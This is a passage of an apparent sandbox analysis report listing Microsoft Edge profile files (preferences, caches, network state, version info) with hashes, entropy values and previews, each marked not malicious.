SHA-512:	0B7D156BBC105468167B0C3B3F5EB6D3505B582996EA6081C027D1FBC002832889B614783703D95253C13A98502A4FDAE858623292C8F56A79F5F04E4E167917
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366468151486781","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b65c.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9924
Entropy (8bit):	5.110809931526797
Encrypted:	false
SSDEEP:	192:stAkdIsZCGaFvrE9ko3982nbV+F5dQA3Uh+PrYJ:stArsZCGCDanbG7QLhn
MD5:	E97328600D45F2A62550FF27178C4049
SHA1:	1A4522EE1B6ABFCE21EE08DA028BCADFD2C07F31
SHA-256:	8BD6FCB440F536FE19A927BAAE95FE7A6D951C1BD7E8AE9696258827B1952B2B
SHA-512:	0B7D156BBC105468167B0C3B3F5EB6D3505B582996EA6081C027D1FBC002832889B614783703D95253C13A98502A4FDAE858623292C8F56A79F5F04E4E167917
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366468151486781","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4f902.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9924
Entropy (8bit):	5.110809931526797
Encrypted:	false
SSDEEP:	192:stAkdIsZCGaFvrE9ko3982nbV+F5dQA3Uh+PrYJ:stArsZCGCDanbG7QLhn
MD5:	E97328600D45F2A62550FF27178C4049
SHA1:	1A4522EE1B6ABFCE21EE08DA028BCADFD2C07F31
SHA-256:	8BD6FCB440F536FE19A927BAAE95FE7A6D951C1BD7E8AE9696258827B1952B2B
SHA-512:	0B7D156BBC105468167B0C3B3F5EB6D3505B582996EA6081C027D1FBC002832889B614783703D95253C13A98502A4FDAE858623292C8F56A79F5F04E4E167917
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366468151486781","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF54f6f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9924
Entropy (8bit):	5.110809931526797
Encrypted:	false
SSDEEP:	192:stAkdIsZCGaFvrE9ko3982nbV+F5dQA3Uh+PrYJ:stArsZCGCDanbG7QLhn
MD5:	E97328600D45F2A62550FF27178C4049
SHA1:	1A4522EE1B6ABFCE21EE08DA028BCADFD2C07F31
SHA-256:	8BD6FCB440F536FE19A927BAAE95FE7A6D951C1BD7E8AE9696258827B1952B2B
SHA-512:	0B7D156BBC105468167B0C3B3F5EB6D3505B582996EA6081C027D1FBC002832889B614783703D95253C13A98502A4FDAE858623292C8F56A79F5F04E4E167917
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366468151486781","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567184433585225
Encrypted:	false
SSDEEP:	768:4MxBfyWnnW5wvvf49s8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPGOIMhNnrwXUgEmpF:4yJyGnWavvfIsu1ja7oL0Stc
MD5:	558C9B8E83A5D6A5F9FDA6D0E29441C2
SHA1:	20D3B75A29841AA6865F7B8CE679284AF1AA6BAD
SHA-256:	1EE0C41B782B6CD8762625717DB7A746145E8A16D2C5139A3AC999F12C5419C8
SHA-512:	22688499A49C8D2169FC9769ECFCEEDC3A4857FD1EC702C5635D66F56C5BD3DB6B73F786300C0F5638239061D576037DE54CE802F0804D307370E5E33FEE33B3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366468150639158","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366468150639158","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF49aa6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.567184433585225
Encrypted:	false
SSDEEP:	768:4MxBfyWnnW5wvvf49s8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPGOIMhNnrwXUgEmpF:4yJyGnWavvfIsu1ja7oL0Stc
MD5:	558C9B8E83A5D6A5F9FDA6D0E29441C2
SHA1:	20D3B75A29841AA6865F7B8CE679284AF1AA6BAD
SHA-256:	1EE0C41B782B6CD8762625717DB7A746145E8A16D2C5139A3AC999F12C5419C8
SHA-512:	22688499A49C8D2169FC9769ECFCEEDC3A4857FD1EC702C5635D66F56C5BD3DB6B73F786300C0F5638239061D576037DE54CE802F0804D307370E5E33FEE33B3
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13366468150639158","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13366468150639158","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\00171fe1-d7b5-49dd-bfb9-0e694c2634d8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2ddb5029-6d98-4f8e-9d52-2f567bb5354f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\2f589cb2-2525-450f-83f5-9a9a93d09f79.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF465da.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF47377.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\b125535f-e5ce-4b8d-9656-e5c43f9a238c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\bff4d8a4-6546-45b7-acbb-64ec0ecb918f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10088
Entropy (8bit):	5.122033941195855
Encrypted:	false
SSDEEP:	192:stAkdIsZCGaFvrE9kSy398EbV+FaOwAhmUh+PrYJ:stArsZCGCDYAbGZwM1hn
MD5:	46C176DE74666F18D61868FC67075F55
SHA1:	B2D5D9C8F7BD6C2B15B8A5BBDE211E583ABC0C2E
SHA-256:	C00751516513B84E7E79BE75CBB479BECF9DE35FF23E33990D7F52522F89D7FC
SHA-512:	B13C7E5EBDA4FCCFB24886A0AF2ABC80B17BA76ABB8E2635CA864865180B96C6795FC988D26827BE425CE344151C93D23AE8ACA43B07EC61CE545994581622AB
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13366468151486781","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":914,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":70,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"li

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF43833.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089786690680574
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWldi1zNtPMdkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7yn/6kzItSmd6qE7lFoC
MD5:	D1E1C41B7D9940DE80A1488F94D59A49
SHA1:	92C77323B9853CED073362EE93D216428C190090
SHA-256:	F4AED276965A49068BF56FC5A9290221577EF71C2E99BBD2EE5B31A5C9C14BE4
SHA-512:	A3E98ABA58FB5BFE7FB00F752510081CD40C0B23E683DC16C00604A8399AF9D22301C69924677B22B4212B43804ACEDFED29A0BE2BA60E83C5AA1B58E083BA34
Malicious:	false
